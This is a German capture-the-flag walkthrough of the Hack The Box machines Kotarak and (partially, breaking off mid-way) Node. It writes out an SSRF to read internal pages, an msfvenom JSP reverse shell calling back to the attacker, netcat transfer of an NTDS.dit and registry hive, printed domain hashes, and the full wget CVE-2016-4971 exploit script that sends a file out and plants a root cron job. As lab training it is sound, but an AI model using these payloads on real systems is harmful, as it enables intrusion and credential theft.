Als erstes machen wir natürlich einen Nmap-Scan.

root@kali:~# nmap -A 10.10.10.55

[...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e2:d7:ca:0e:b7:cb:0a:51:f7:2e:75:ea:02:24:17:74 (RSA)
| 256 e8:f1:c0:d3:7d:9b:43:73:ad:37:3b:cb:e1:64:8e:e9 (ECDSA)
|_ 256 6d:e9:26:ad:86:02:2d:68:e1:eb:ad:66:a0:60:17:b8 (EdDSA)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
| Supported methods: GET HEAD POST PUT DELETE OPTIONS
| Potentially risky methods: PUT DELETE
|_ See https://nmap.org/nsedoc/scripts/ajp-methods.html
8080/tcp open http Apache Tomcat 8.5.5
|_http-favicon: Apache Tomcat
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Apache Tomcat/8.5.5 - Error report
60000/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title:         Kotarak Web Hosting        
[...]

2 offene Webserver Ports wurden gefunden.

Wenn wir versuchen 10.10.10.55:8080 aufzurufen, bekommen wir als Rückmeldung nur 404 - not found.
Bruteforcen wir als nächstes Verzeichnisse auf Port 8080.

root@kali:~# gobuster -u http://10.10.10.55:8080 -w /usr/share/wordlists/dirb/common.txt -t 250

Gobuster v1.2 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.55:8080/
[+] Threads : 250
[+] Wordlist : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307
=====================================================
/df (Status: 302)
/docs (Status: 302)
/favicon.ico (Status: 200)
/examples (Status: 302)
/host-manager (Status: 302)
/manager (Status: 302)
====================================================

/manager klingt interessant.

Sehen wir uns /manager mal an.

404 Not found

The page you tried to access (/manager/) does not exist.

The Manager application has been re-structured for Tomcat 7 onwards and some of URLs have changed. All URLs used to access the Manager application should now start with one of the following options:

/manager/html for the HTML GUI
/manager/text for the text interface
/manager/jmxproxy for the JMX proxy
/manager/status for the status pages

Note that the URL for the text interface has changed from "/manager" to "/manager/text".

[..]

Ok, befolgen wir den Hinweis und versuchen /manager/html.

Wir benötigen leider einen Nutzernamen und ein Passwort um an dieser Stelle weiter zu kommen…

Die Webseite auf Port 8080 bringt uns aktuell nicht weiter, sehen wir uns die Webseite auf Port 60000 mal an!

Auf der Webseite ist nicht viel zu sehen, allerdings haben wir ein Textfeld, in dem wir z.B. eine Url eingeben können, zu dieser wir dann weitergeleitet werden!
Bruteforcen wir auch hier nach Verzeichnissen.

root@kali:~# gobuster -u http://10.10.10.55:60000 -w /usr/share/wordlists/dirb/common.txt -t 250 -s 200,204,301,302,307,403

Gobuster v1.2 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.55:60000/
[+] Threads : 250
[+] Wordlist : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 302,307,403,200,204,301
=====================================================
/index.php (Status: 200)
/info.php (Status: 200)
/server-status (Status: 403)
====================================================

server-status klingt nach etwas, was hilfreich sein könnte! Wenn wir allerdings http://10.10.10.55:60000/server-status besuchen, bekommen wir leider nur 403 - forbidden zurück.
Aber was wenn wir http://10.10.10.55:60000/server-status bzw. http://localhost:60000/server-status in das Textfeld eingeben und das Verzeichnis auf diese Art und Weise besuchen?

Es hat funktioniert! Wahrscheinlich kann man server-status nicht von außerhalb des Servers aufrufen.

Hier ist es auffällig, dass bei vielen Einträgen 127.0.0.1:888 vom localhost aus aufgerufen wurden.

Rufen wir http://localhost:888/ wieder durch 10.10.10.55:60000 auf:

Wir können dort mehrere Dateien sehen. Wir können allerdings nicht einfach auf einen Dateinamen klicken, um diese aufzurufen. Sehen wir mal in den Seitenquelltext.

[...]
<tr >
<td width="27"><a href="?doc=backup" class="tableElement"><img src="inc/images/generic.png" alt="dir" width="22" height="22" border="0"></a></td>
<td class="tableElement"><a href="?doc=backup" class="tableElement">backup</a></td>
<td class="tableElementInfo">&nbsp;2.22 kB</td>
<td class="tableElementInfo">&nbsp;18 07 2017 21:42:11</td>
</tr>
[..]

?doc=backup verweist also auf die Datei backup.

Rufen wir also http://localhost:888/?doc=backup auf.

Wir sehen eine leere Seite… Schauen wir wieder mal auf den Seitenquelltext.

<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<!--
NOTE: By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary. It is
strongly recommended that you do NOT use one of the users in the commented out
section below since they are intended for use with the examples web
application.
-->
<!--
NOTE: The sample user and role entries below are intended for use with the
examples web application. They are wrapped in a comment and thus are ignored
when reading this file. If you wish to configure these users for use with the
examples web application, do not forget to remove the <!.. ..> that surrounds
them. You will also need to set the passwords to something appropriate.
-->
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
-->
<user username="admin" password="3@g01PdhB!" roles="manager,manager-gui,admin-gui,manager-script"/>

</tomcat-users>

Ein Eintrag mit dem Nutzernamen admin und dem dazugehörigen Passwort 3@g01PdhB!.

Probieren wir die Anmeldedaten doch bei 10.10.10.55:8080/manager/html aus!

Es hat funktioniert. Wir sind nun als Admin im Tomcat Manager angemeldet und können nun, wie man ganz unten auf dem Screenshot sieht, eine WAR-Datei hochladen und diese sogar auch ausführen lassen.

Mit Hilfe von msfvenom können wir eine Java JSP Reverse Shell erstellen und diese als WAR-Datei verpacken.
Sehen wir dafür zuerst unsere IP-Adresse nach.

root@kali:~# ifconfig tun0
[...]
inet 10.10.15.158 netmask 255.255.254.0 destination 10.10.15.158
[..]

Suchen wir nun nach Java-Payloads.

root@kali:~# msfvenom -l payloads | grep java
java/jsp_shell_bind_tcp Listen for a connection and spawn a command shell
java/jsp_shell_reverse_tcp Connect back to attacker and spawn a command shell
java/meterpreter/bind_tcp Run a meterpreter server in Java. Listen for a connection
java/meterpreter/reverse_http Run a meterpreter server in Java. Tunnel communication over HTTP
java/meterpreter/reverse_https Run a meterpreter server in Java. Tunnel communication over HTTPS
java/meterpreter/reverse_tcp Run a meterpreter server in Java. Connect back stager
java/shell/bind_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Listen for a connection
java/shell/reverse_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Connect back stager
jaa/shell_reverse_tcp Connect back to attacker and spawn a command shell

Erstellen wir nun den Java-Payload, geben unsere IP-Adresse als LHOST an, den Port an dem wir die Verbindung empfangen wollen als LPORT und geben mit -f war an, dass wir dies als WAR-Datei haben wollen.

root@kali:~# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.15.158 LPORT=4444 -f war > m10x.war
Payload size: 1090 bytes
Fial size of war file: 1090 bytes

Jetzt können wir mit Netcat auf dem Port, den wir angegeben haben, auf eine Verbindung warten lassen.

root@kali:~# nc -lnvp 4444
litening on [any] 4444 ...

Nun müssen wir nur noch die .war Datei hochladen.

Wir können sehen, dass diese nun unter Applications aufgeführt ist.

Wenn wir nun auf den Namen unserer Datei klicken, haben wir eine Reverse-Shell!

root@kali:~# nc -lnvp 4444
listening on [any] 4444 ...
conect to [10.10.15.158] from (UNKNOWN) [10.10.10.55] 48972

Jetzt können wir uns eine interaktive Shell mit z.B. Autocomplete erstellen.

python -c "import pty; pty.spawn('/bin/bash')"
tomcat@kotarak-dmz:/$ ^Z
[1]+ Stopped nc -lnvp 4444
root@kali:~# stty raw -echo
root@kali:~# nc -lnvp 4444

tomcat@kotarak-dmz:/$ stty rows 53
tomcat@kotarak-dmz:/$ stty columns 211
tocat@kotarak-dmz:/$ export TERM=xterm-256color

Im Homeverzeichnis können wir uns mit dem Befehl **ls -R **rekursiv alle Ordner und Dateien anzeigen lassen.

tomcat@kotarak-dmz:/$ cd home
tomcat@kotarak-dmz:/home$ ls
atanas tomcat

tomcat@kotarak-dmz:/home$ ls -R
.:
atanas tomcat

./atanas:
user.txt

./tomcat:
to_archive

./tomcat/to_archive:
pentest_data

./tomcat/to_archive/pentest_data:
2070721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin

Im Homeverzeichnis von Atanas befindet sich die User Flag!

Im Homeverzeichnis von Tomcat befinden sich zwei sehr interessante Dateien…
Laden wir uns diese via Netcat herunter.

tomcat@kotarak-dmz:/home$ cd tomcat/to_archive/pentest_data
tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ file *
20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit: data
20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin: MS Windows registry file, NT/2000 or above

root@kali:~# mkdir kotarak

root@kali:~# cd kotarak/

root@kali:~/kotarak# nc -lnvp 4445 > SYSTEM

tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ nc 10.10.15.158 < 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin

root@kali:~/kotarak# nc -lnvp 4445 > ntds.dit

tocat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ nc 10.10.15.158 < 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit

Bei den beiden Dateien handelt es sich um NTDS.dit, welche eine Datenbank ist die Informationen zur Active Directory beinhält, und um eine Kopie des SYSTEM Registry Hives!

Mit Hilfe von dem Skript secretsdump von der Impacket Skript-Sammlung können wir bei Eingabe der beiden Dateien alle NT-Hashes extrahieren!

root@kali:~/kotarak# impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies

[*] Target system bootKey: 0x14b6fb98fedc8e15107867c4722d1399
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d77ec2af971436bccb3b6fc4a969d7ff
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WIN-3G2B0H151AC$:1000:aad3b435b51404eeaad3b435b51404ee:668d49ebfdb70aeee8bcaeac9e3e66fd:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ca1ccefcb525db49828fbb9d68298eee:::
WIN2K8$:1103:aad3b435b51404eeaad3b435b51404ee:160f6c1db2ce0994c19c46a349611487:::
WINXP1$:1104:aad3b435b51404eeaad3b435b51404ee:6f5e87fd20d1d8753896f6c9cb316279:::
WIN2K31$:1105:aad3b435b51404eeaad3b435b51404ee:cdd7a7f43d06b3a91705900a592f3772:::
WIN7$:1106:aad3b435b51404eeaad3b435b51404ee:24473180acbcc5f7d2731abe05cfa88c:::
atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
[*] Kerberos keys from ntds.dit 
Administrator:aes256-cts-hmac-sha1-96:6c53b16d11a496d0535959885ea7c79c04945889028704e2a4d1ca171e4374e2
Administrator:aes128-cts-hmac-sha1-96:e2a25474aa9eb0e1525d0f50233c0274
Administrator:des-cbc-md5:75375eda54757c2f
WIN-3G2B0H151AC$:aes256-cts-hmac-sha1-96:84e3d886fe1a81ed415d36f438c036715fd8c9e67edbd866519a2358f9897233
WIN-3G2B0H151AC$:aes128-cts-hmac-sha1-96:e1a487ca8937b21268e8b3c41c0e4a74
WIN-3G2B0H151AC$:des-cbc-md5:b39dc12a920457d5
WIN-3G2B0H151AC$:rc4_hmac:668d49ebfdb70aeee8bcaeac9e3e66fd
krbtgt:aes256-cts-hmac-sha1-96:14134e1da577c7162acb1e01ea750a9da9b9b717f78d7ca6a5c95febe09b35b8
krbtgt:aes128-cts-hmac-sha1-96:8b96c9c8ea354109b951bfa3f3aa4593
krbtgt:des-cbc-md5:10ef08047a862046
krbtgt:rc4_hmac:ca1ccefcb525db49828fbb9d68298eee
WIN2K8$:aes256-cts-hmac-sha1-96:289dd4c7e01818f179a977fd1e35c0d34b22456b1c8f844f34d11b63168637c5
WIN2K8$:aes128-cts-hmac-sha1-96:deb0ee067658c075ea7eaef27a605908
WIN2K8$:des-cbc-md5:d352a8d3a7a7380b
WIN2K8$:rc4_hmac:160f6c1db2ce0994c19c46a349611487
WINXP1$:aes256-cts-hmac-sha1-96:347a128a1f9a71de4c52b09d94ad374ac173bd644c20d5e76f31b85e43376d14
WINXP1$:aes128-cts-hmac-sha1-96:0e4c937f9f35576756a6001b0af04ded
WINXP1$:des-cbc-md5:984a40d5f4a815f2
WINXP1$:rc4_hmac:6f5e87fd20d1d8753896f6c9cb316279
WIN2K31$:aes256-cts-hmac-sha1-96:f486b86bda928707e327faf7c752cba5bd1fcb42c3483c404be0424f6a5c9f16
WIN2K31$:aes128-cts-hmac-sha1-96:1aae3545508cfda2725c8f9832a1a734
WIN2K31$:des-cbc-md5:4cbf2ad3c4f75b01
WIN2K31$:rc4_hmac:cdd7a7f43d06b3a91705900a592f3772
WIN7$:aes256-cts-hmac-sha1-96:b9921a50152944b5849c706b584f108f9b93127f259b179afc207d2b46de6f42
WIN7$:aes128-cts-hmac-sha1-96:40207f6ef31d6f50065d2f2ddb61a9e7
WIN7$:des-cbc-md5:89a1673723ad9180
WIN7$:rc4_hmac:24473180acbcc5f7d2731abe05cfa88c
atanas:aes256-cts-hmac-sha1-96:933a05beca1abd1a1a47d70b23122c55de2fedfc855d94d543152239dd840ce2
atanas:aes128-cts-hmac-sha1-96:d1db0c62335c9ae2508ee1d23d6efca4
atanas:des-cbc-md5:6b80e391f113542a
[* Cleaning up...

Wir haben nun also den NTLM Hash des Administrator Passwortes!

Diesen können wir nun auf crackstation cracken lassen.

e64fe0f24ba2489c05e64354d74ebd11 = f16tomcat!

Das Passwort ist also f16tomcat!

Dasselbe Passwort können wir benutzen um uns als Atanas ein zu loggen. Glücklich für uns, dass das Passwort wohl mehrfach verwendet wurde.

tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ su - atanas
Password: 
atnas@kotarak-dmz:~$

Jetzt haben wir die Berechtigungen um die User Flag auszulesen.

atanas@kotarak-dmz:~$ cat user.txt 
93#########ZENSIERT#########ce8

Wir haben auch ausreichende Berechtigungen für das Root-Verzeichnis!

atanas@kotarak-dmz:~$ cd /root
atanas@kotarak-dmz:/root$ ls
app.log flag.txt
atanas@kotarak-dmz:/root$ cat flag.txt 
Getting closer! But what you are looking for can't be found here.
atanas@kotarak-dmz:/root$ cat app.log 
10.0.3.133 - - [20/Jul/2017:22:48:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:50:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
100.3.133 - - [20/Jul/2017:22:52:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"

Die Root Flag ist aber nicht hier. Es befindet sich ansonsten nur die Datei app.log im Verzeichnis…

root@kali:~/kotarak# searchsploit wget
------------------------------------------------------------------- ----------------------------------
Exploit Title                                                      | Path
                                                                   | (/usr/share/exploitdb/)
------------------------------------------------------------------- ----------------------------------
GNU Wget 1.x - Multiple Vulnerabilities                            | exploits/linux/remote/24813.pl
GNU Wget < 1.18 - Access List Bypass / Race Condition              | exploits/multiple/remote/40824.py
GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution    | exploits/linux/remote/40064.txt
WGet 1.x - Insecure File Creation Race Condition                   | exploits/linux/local/24123.sh
feh 1.7 - '--wget-Timestamp' Remote Code Execution                 | exploits/linux/remote/34201.txt
wget 1.10.2 - Unchecked Boundary Condition Denial of Service       | exploits/multiple/dos/2947.pl
wget 1.9 - Directory Traversal                                     | exploits/multiple/remote/689.pl
------------------------------------------------------------------- ----------------------------------
------------------------------------------------------------------- ----------------------------------
Shellcode Title                                                    | Path
                                                                   | (/usr/share/exploitdb/)
------------------------------------------------------------------- ----------------------------------
Linux/x86 - execve wget + Mutated + Null-Free Shellcode (96 bytes) | shellcodes/linux_x86/43739.c
Linux/x86 - execve(_/usr/bin/wget__ _aaaa_) Shellcode (42 bytes)   | shellcodes/linux_x86/13702.c
------------------------------------------------------------------ ----------------------------------

Sehen wir uns diesen Exploit an: GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution

root@kali:~/kotarak# searchsploit -m exploits/linux/remote/40064.txt
Exploit: GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution
URL: https://www.exploit-db.com/exploits/40064/
Path: /usr/share/exploitdb/exploits/linux/remote/40064.txt
File Type: UTF-8 Unicode text, with CRLF line terminators

Copied to: /root/kotarak/40064.txt

Die Datei enthält folgende Anleitung um eine Remote Code Execution auszuführen:

In order to exploit this setup, attacker first prepares a malicious .wgetrc 
and starts an FTP server:

attackers-server# mkdir /tmp/ftptest
attackers-server# cd /tmp/ftptest

attackers-server# cat <<_EOF_>.wgetrc
post_file = /etc/shadow
output_document = /etc/cron.d/wget-root-shell
_EOF_

attackers-server# sudo pip install pyftpdlib
attackers-server# python -m pyftpdlib -p21 -w

At this point attacker can start an HTTP server which will exploit wget by
sending malicious redirects to the victim wget's requests:

---[ wget-exploit.py ]---

#!/usr/bin/env python

#
# Wget 1.18 < Arbitrary File Upload Exploit
# Dawid Golunski
# dawid( at )legalhackers.com
#
# http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
#
# CVE-2016-4971 
#

import SimpleHTTPServer
import SocketServer
import socket;

class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
   def do_GET(self):
       # This takes care of sending .wgetrc

       print "We have a volunteer requesting " + self.path + " by GET :)\n"
       if "Wget" not in self.headers.getheader('User-Agent'):
      print "But it's not a Wget :( \n"
          self.send_response(200)
          self.end_headers()
          self.wfile.write("Nothing to see here...")
          return

       print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"
       self.send_response(301)
       new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )
       print "Sending redirect to %s \n"%(new_path)
       self.send_header('Location', new_path)
       self.end_headers()

   def do_POST(self):
       # In here we will receive extracted file and install a PoC cronjob

       print "We have a volunteer requesting " + self.path + " by POST :)\n"
       if "Wget" not in self.headers.getheader('User-Agent'):
      print "But it's not a Wget :( \n"
          self.send_response(200)
          self.end_headers()
          self.wfile.write("Nothing to see here...")
          return

       content_len = int(self.headers.getheader('content-length', 0))
       post_body = self.rfile.read(content_len)
       print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)

       print "Sending back a cronjob script as a thank-you for the file..." 
       print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)"
       self.send_response(200)
       self.send_header('Content-type', 'text/plain')
       self.end_headers()
       self.wfile.write(ROOT_CRON)

       print "\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n"

       return

HTTP_LISTEN_IP = '192.168.57.1'
HTTP_LISTEN_PORT = 80
FTP_HOST = '192.168.57.1'
FTP_PORT = 21

ROOT_CRON = "* * * * * root /usr/bin/id > /root/hacked-via-wget \n"

handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)

print "Ready? Is your FTP server running?"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
   print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
else:
   print "FTP is down :( Exiting."
   exit(1)

print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT

handler.serve_forever()

--[ eof ]---

Befolgen wir die Anleitung, anstatt /etc/shadow wollen wir allerdings /root/root.txt erhalten!

root@kali:~/kotarak# mkdir ftptest
root@kali:~/kotarak# cd ftptest/
root@kali:~/kotarak/ftptest# cat <<_EOF_>.wgetrc
> post_file = /root/root.txt
> output_document = /etc/cron.d/wget-root-shell
> _EOF_
root@kali:~/kotarak/ftptest# cat .wgetrc 
post_file = /root/root.txt
ouput_document = /etc/cron.d/wget-root-shell

Nun pyftpdlib installieren, falls noch nicht vorhanden

root@kali:~/kotarak/ftptest# sudo pip install pyftpdlib
Reuirement already satisfied: pyftpdlib in /usr/local/lib/python2.7/dist-packages

pyftpdlib ausführen:

root@kali:~/kotarak/ftptest# python -m pyftpdlib -p21 -w
/usr/local/lib/python2.7/dist-packages/pyftpdlib/authorizers.py:244: RuntimeWarning: write permissions assigned to anonymous user.
RuntimeWarning)
[I 2018-03-14 19:17:49] >>> starting FTP server on 0.0.0.0:21, pid=11282 <<<
[I 2018-03-14 19:17:49] concurrency model: async
[I 2018-03-14 19:17:49] masquerade (NAT) address: None
[I2018-03-14 19:17:49] passive ports: None

Kopieren wir nun den exploit auf Kotarak.

atanas@kotarak-dmz:/root$ vi exploit.py

#!/usr/bin/env python

[...]

HTTP_LISTEN_IP = '0.0.0.0'
HTTP_LISTEN_PORT = 80
FTP_HOST = '10.10.15.158'
FTP_PORT = 21

ROOT_CRON = "* * * * * root /usr/bin/id > /root/hacked-via-wget \n"

handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)

print "Ready? Is your FTP server running?"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
else:
print "FTP is down :( Exiting."
exit(1)

print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT

hadler.serve_forever()

Bei FTP_HOST müssen wir unsere IP-Adresse eintragen.

atanas@kotarak-dmz:/root$ python exploit.py
[...]
soket.error: [Errno 13] Permission denied

Wir können den Exploit nicht ausführen, da die ersten 1024 Ports für root reserviert sind.

Es gibt allerdings einen einfachen Trick wie wir dies umgehen können und zwar Authbind!

atanas@kotarak-dmz:/root$ authbind python exploit.py
Ready? Is your FTP server running?
FTP found open on 10.10.15.158:21\. Let's go then

Serving wget exploit on port 80...

We have a volunteer requesting /archive.tar.gz by GET :)

Uploading .wetrc via ftp redirect vuln. It should land in /root
10.0.3.133 - - [14/Mar/2018 19:43:04] "GET /archive.tar.gz HTTP/1.1" 301 -
Sending redirect to ftp://anonymous@10.10.15.158:21/.wgetrc
We have a volunteer requesting /archive.tar.gz by POST :)

Received POST from wget, this should be the extracted /etc/shadow file:

---[begin]---
950#########ZENSIERT#########e2c
---[eof]---

Sending back a cronjob script as a thank-you for the file...
It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)
10.0.3.133 - - [14/Mar/2018 19:45:04] "POST /archive.tar.gz HTTP/1.1" 200 -
Fie was served. Check on /root/hacked-via-wget on the victim's host in a minute! :)

Vielen Dank für’s durchlesen. :)

Tipps

• Sieh dir den Seitenquelltext genau an.
• Wenn der Download abbricht, versuche einen anderen Browser, benutze Burp als Proxy oder kopiere den Seitenquelltext.
• ltrace (zum debuggen) und radare2 (zur Analyse des Assembly Codes) können dich an’s Ziel bringen.
• Um an /root/root.txt zu kommen gibt es 3 verschiedene Methoden.

Video

Anleitung

Als erstes machen wir wie gewohnt einen Nmap-Scan.

root@kali:~# nmap -A 10.10.10.58

[...]
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (EdDSA)
3000/tcp open  http    Node.js Express framework
| hadoop-datanode-info:
|_ Logs: /login
|_hadoop-jobtracker-info:
| hadoop-tasktracker-info:
|_ Logs: /login
|_hbase-master-info:
|_http-title: MyPlace
[...]

2 offene Ports wurden gefunden. SSH und auf Port 3000 eine Node.js Webseite.

Wenn wir uns den Seitenquelltext ansehen, können wir ganz unten Verweise auf Javascripts finden.

<script type="text/javascript" src="vendor/jquery/jquery.min.js"></script>
<script type="text/javascript" src="vendor/bootstrap/js/bootstrap.min.js"></script>
<script type="text/javascript" src="vendor/angular/angular.min.js"></script>
<script type="text/javascript" src="vendor/angular/angular-route.min.js"></script>
<script type="text/javascript" src="assets/js/app/app.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/home.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/login.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/admin.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/profile.js"></script>
<script type="text/javascript" src="assets/js/misc/freelancer.min.js"></script>

Sehen wir uns home.js mal an.

var controllers = angular.module('controllers');

controllers.controller('HomeCtrl', function ($scope, $http) {
  $http.get('/api/users/latest').then(function (res) {
    $scope.users = res.data;
  });
});

In Zeile 4 wird auf /api/users/latest zugegriffen. Unter 10.10.10.58:3000/api/users/latest sehen wir 3 Benutzer mit ihrer jeweiligen _id, username, password und is_admin. Wobei das password jeweils ein Hash zu seien scheint.

Allerdings ist hier keiner der Benutzer ein Admin. Sehen wir uns darum mal /api/users/ an.

Hier ist ein Admin Account zu sehen und zwar myP14ceAdm1nAcc0uNT. Kopieren wir uns den Hash und benutzen einen Online Hash Cracker um zu sehen, ob wir das Password herausfinden können. Ich benutze dafür crackstation.net.

dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af = manchester

Tatsächlich konnte es das Passwort herausfinden.

Melden wir uns nun als myP14ceAdm1nAcc0uNT mit dem Passwort manchester an und laden uns das Backup herunter.

Falls der Download bei dir immer wieder abbrechen sollte gibt es 3 Möglichkeiten wie du dieses beheben kannst.

1. Versuche einen anderen Browser
2. Benutze Burp als Proxy
3. Kopiere den Inhalt von view-source:http://10.10.10.58:3000/api/admin/backups

Wenn wir uns den Inhalt von myplace.backup ansehen, können wir sehen, dass es mit Base64 enkodiert wurde. Wir können base64 -d benutzen, um es zu dekodieren.

root@kali:~# cat myplace.backup | base64 -d > myplace

Sehen wir uns nun den Dateityp von der Datei myplace an, mit der Hilfe von file.

root@kali:~# file myplace
myplace: Zip archive data, at least v1.0 to extract

Es handelt sich um eine Zip Datei.

Nennen wir myplace zu myplace.zip um.

root@kali:~# mv myplace myplace.zip

Allerdings wird ein Passwort benötigt um die Zip Datei zu öffnen.

Das Password der Zip Datei können wir bruteforcen. Ich benutze dafür fcrackzip und die rockyou Wortliste, welche sich bei Kali Linux standardmäßig unter /usr/share/wordlists/rockyou.txt befindet.

root@kali:~# fcrackzip -D -p /usr/share/wordlists/rockyou.txt myplace.zip
possible pw found: magicword ()

Das Passwort ist also magicword.

Jetzt können mir myplace.zip entpacken.

root@kali:~# unzip myplace.zip
[...]
root@kali:~# cd var/www/myplace
root@kali:~# ls
app.html app.js mark node_modules package.json package-lock.json static

Sehen wir uns app.js genauer an.

root@kali:~# cat app.js

const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const crypto = require('crypto');
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const path = require("path");
const spawn = require('child_process').spawn;
const app = express();
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
[...]

Es wird anscheinend MongoDB und der Nutzername mark mit dem Passwort 5AYRft73VtFpc84k um sich bei MongoDB anzumelden.

Probieren wir diese Anmeldedaten bei SSH aus.

root@kali:~# ssh mark@10.10.10.58
[...]
mark@node:~$

Es hat tatsächlich funktioniert.

mark@node:~$ ls /home
frank mark tom

Unter /home sind noch 2 andere Benutzer zu finden. frank und tom.

mark@node:~$ ps aux | grep tom
tom 1224 0.0 5.7 1008560 43964 ? Ssl 05:06 0:06 /usr/bin/node /var/scheduler/app.js
tom 1231 3.2 8.1 1034224 61784 ? Ssl 05:06 12:28 /usr/bin/node /var/www/myplace/app.js

2 Prozesse gehören tom. Sehen wir uns /var/scheduler/app.js an.

mark@node:~$ cat /var/scheduler/app.js

const exec = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
